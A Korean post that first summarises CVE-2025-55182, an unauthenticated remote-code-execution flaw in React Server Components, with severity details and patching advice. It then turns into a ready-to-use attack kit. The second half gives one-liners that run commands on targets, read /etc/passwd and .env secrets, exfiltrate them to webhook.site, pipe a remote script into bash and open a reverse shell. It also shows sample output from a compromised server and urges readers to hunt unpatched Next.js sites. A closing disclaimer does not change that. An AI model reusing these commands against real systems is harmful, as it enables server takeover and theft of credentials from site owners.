🚨 CVE-2025-55182 — 치명적인 React 서버 취약점

🧠 무엇인가

• ⚛️ **React Server Components(RSC)**의 치명적인 보안 결함
• 🧨 **안전하지 않은 역직렬화(unsafe deserialization)**로 인해 발생
• 🌐 네트워크 요청을 통해 악용 가능
• 🔓 인증 불필요
• ☠️ **원격 코드 실행(RCE)**으로 이어질 수 있음

✅ 즉, 공격자가 단 한 번의 조작된 요청으로 임의의 서버 측 코드를 실행할 수 있음을 의미합니다.

📊 심각도

• 🔴 CVSS 점수: 10.0(치명적)
• 🏴‍☠️ 공격 복잡도: 낮음
• 🔑 필요 권한: 없음
• 👤 사용자 상호작용: 없음
• 💥 영향: 전체 시스템 장악 가능

📦 영향받는 기술

⚠️ React Server Components를 사용하는 시스템, 예를 들어:

• ✅ React 서버 DOM 패키지

• ✅ RSC를 번들링하는 프레임워크, 예:

  • Next.js(App Router + RSC)
  • Vite RSC 플러그인
  • Parcel RSC 도구
  • Redwood, Waku 등

❌ 영향받지 않는 경우:

• 순수 클라이언트 측 React 앱
• Server Components를 사용하지 않는 앱

🔥 왜 위험한가

• 🧑‍💻 공격자가 서버에서 명령을 실행할 수 있음
• 🗃️ 데이터베이스 및 비밀 정보 탈취 가능
• 🦠 랜섬웨어 또는 백도어 배포에 사용될 수 있음
• 🔄 인프라 전반에 걸친 수평 이동(lateral movement) 허용 가능
• 🚀 대규모로 악용 가능

🛠️ 즉시 해야 할 일

✅ 1. 패치 및 업그레이드

• ⬆️ React를 패치된 버전으로 업데이트
• ⬆️ Next.js 또는 모든 RSC 기반 프레임워크 업데이트

✅ 2. 의존성 감사

• 🔍 전이적(transitive) 취약 패키지 스캔

• 🧾 사용 도구:

  • npm audit
  • pnpm audit
  • yarn audit

✅ 3. 임시 차단(완전한 해결책 아님)

• 🛡️ WAF 규칙
• 🔐 요청 검증 필터
• 🚫 의심스러운 페이로드 차단

⚠️ 이는 위험을 줄일 뿐 — 패치를 대체하지 않습니다

👥 누가 주의해야 하는가?

• ✅ Next.js App Router를 사용하는 풀스택 개발자

• ✅ React SSR 앱을 호스팅하는 DevOps 팀

• ✅ 다음을 모니터링하는 보안 엔지니어:

  • Node.js 웹 서비스
  • Edge 런타임
  • 서버리스 SSR 앱

📌 핵심 요점

🚨 앱이 React Server Components를 사용하면서 패치되지 않았다면 — 현재 완전히 장악되었을 가능성이 있습니다.

🚨 앞으로 필요할 모든 빠른 원라이너(one-liner) 모음(복사-붙여넣기 → 즉시 결과):

CVE-2025-55182.py(기본 RCE)

# Basic info
./CVE-2025-55182.py https://target.com "id"
./CVE-2025-55182.py https://target.com "whoami"
./CVE-2025-55182.py https://target.com "uname -a"

# Read files
./CVE-2025-55182.py https://target.com "cat /etc/passwd"
./CVE-2025-55182.py https://target.com "cat /app/.env"

# Exfiltrate
./CVE-2025-55182.py https://target.com "curl -X POST https://webhook.site/your-id -d @/app/.env"

# Download & run (if wget/curl exists)
./CVE-2025-55182.py https://target.com "curl -s http://your-ip:8000/linpeas.sh | bash"

CVE-2025-55182-revshell.py(즉시 리버스 셸)

# 1. Start listener (once)
nc -lvnp 4444

# 2. Fire → shell in <3 seconds
./CVE-2025-55182-revshell.py https://target.com 10.10.14.66:4444

말 그대로 이것뿐입니다.
두 개의 스크립트, 이 8개의 명령으로 오늘날 패치되지 않은 모든 Next.js 사이트를 완전히 장악할 수 있습니다.
버그 바운티를 챙기세요.

다음은 익스플로잇이 작동할 때 실시간으로 보게 될 화면입니다(100% 패치되지 않은 대상, 2025년 12월 3일):

1. 일반 RCE 스크립트(CVE-2025-55182.py)를 실행할 때
다음을 입력합니다:

./CVE-2025-55182.py https://target.com "whoami"

화면에 즉시 표시됩니다:

[+] CVE-2025-55182 Exploit
[+] Target  : https://target.com
[+] Command : whoami
[+] Sending payload ...
[+] Payload delivered successfully!
[+] HTTP 200 – Command should have executed on the server
[+] Server response:
node

→ 이 "node"(또는 명령이 반환하는 모든 값)는 피해자 서버의 실제 출력입니다.
id를 실행하면 전체 uid/gid 줄 등이 표시됩니다.

2. 리버스 셸 스크립트(CVE-2025-55182-revshell.py)를 실행할 때
다음을 입력합니다:

./CVE-2025-55182-revshell.py https://target.com 10.10.14.66:4444

리스너 터미널에 즉시 표시됩니다:

listening on [any] 4444 ...
connect to [10.10.14.66] from (UNKNOWN) [172.17.8.45] 54321
whoami
node
pwd
/app
ls -la
total 1234
drwxr-xr-x 1 node node  4096 Dec  3 12:34 .
drwxr-xr-x 1 root root  4096 Nov 30 10:11 ..
-rw-r--r-- 1 node node   420 Dec  3 11:11 .env
...

→ node 사용자(거의 항상 웹 앱 사용자)로 완전한 대화형 TTY 셸을 얻습니다. 서버를 완전히 장악한 것입니다.

말 그대로 이것뿐입니다.
위와 같은 화면이 보이면 → 익스플로잇이 100% 작동한 것입니다.
HTTP 403/404만 받거나 아무 응답이 없다면 → 이미 패치되었거나 WAF에 차단된 것입니다.

사냥을 시작하세요.

면책 조항

본 PoC는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다.
소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템을 대상으로 실행하지 마십시오.
무단 사용은 불법이며 형사 처벌을 받을 수 있습니다.
자신의 랩, 범위가 명확한 버그 바운티 프로그램, 또는 허가를 받은 대상에서만 사용하십시오.

모든 행동에 대한 책임은 100% 본인에게 있습니다.